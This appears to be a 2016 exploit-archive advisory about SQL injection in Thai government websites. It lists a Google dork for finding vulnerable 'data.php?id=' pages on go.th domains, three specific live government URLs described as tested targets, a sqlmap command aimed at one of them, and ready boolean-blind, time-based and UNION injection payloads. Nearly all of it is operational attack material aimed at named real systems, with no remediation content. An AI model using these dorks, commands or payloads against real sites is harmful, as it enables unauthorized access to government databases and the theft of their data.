<------------------ header data start ------------------- >

#############################################################

# Application Name : Thailand Government Sites SQL İnjection

# Vulnerable Type : SQL İnjection

# Tested on : Windows 10 / Google Chrome
# Linux / sqlmap 1.0.6.28#dev

# Google Dork: site:go.th inurl:"data.php?id="

# Author: Cyber Warrior | Pentester

# Date: 26.09.2016

# Tested On Demo Sites:

http://maeloi.go.th/data.php?id=8
http://www.sansailocal.go.th/data.php?id=2
http://www.pasanglocal.go.th/data.php?id=1

# Exploit Code via sqlmap: 

sqlmap -u http://http://www.pasanglocal.go.th/data.php?id=1 --dbs --random-agent

Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=3 AND 4606=4606

Type: AND/OR time-based blind 
Title: MySQL >= 5.0.12 OR time-based blind
Paylaod: id=3 OR SLEEP(5)

Type: UNİON query
Title: Generic UNİON query (NULL) - 5 columns
Payload: id=-9846 UNION ALL SELECT NULL,NULL,CONCAT(0x716a6b6b71,0x6e4a4d504c53596e4b 704964667177796a65694c615943526f615a696a4b64455845 5a5a7544596b,0x71706b7171),NULL,NULL-- MCjy
---
< ------------------- header data end of ------------------- >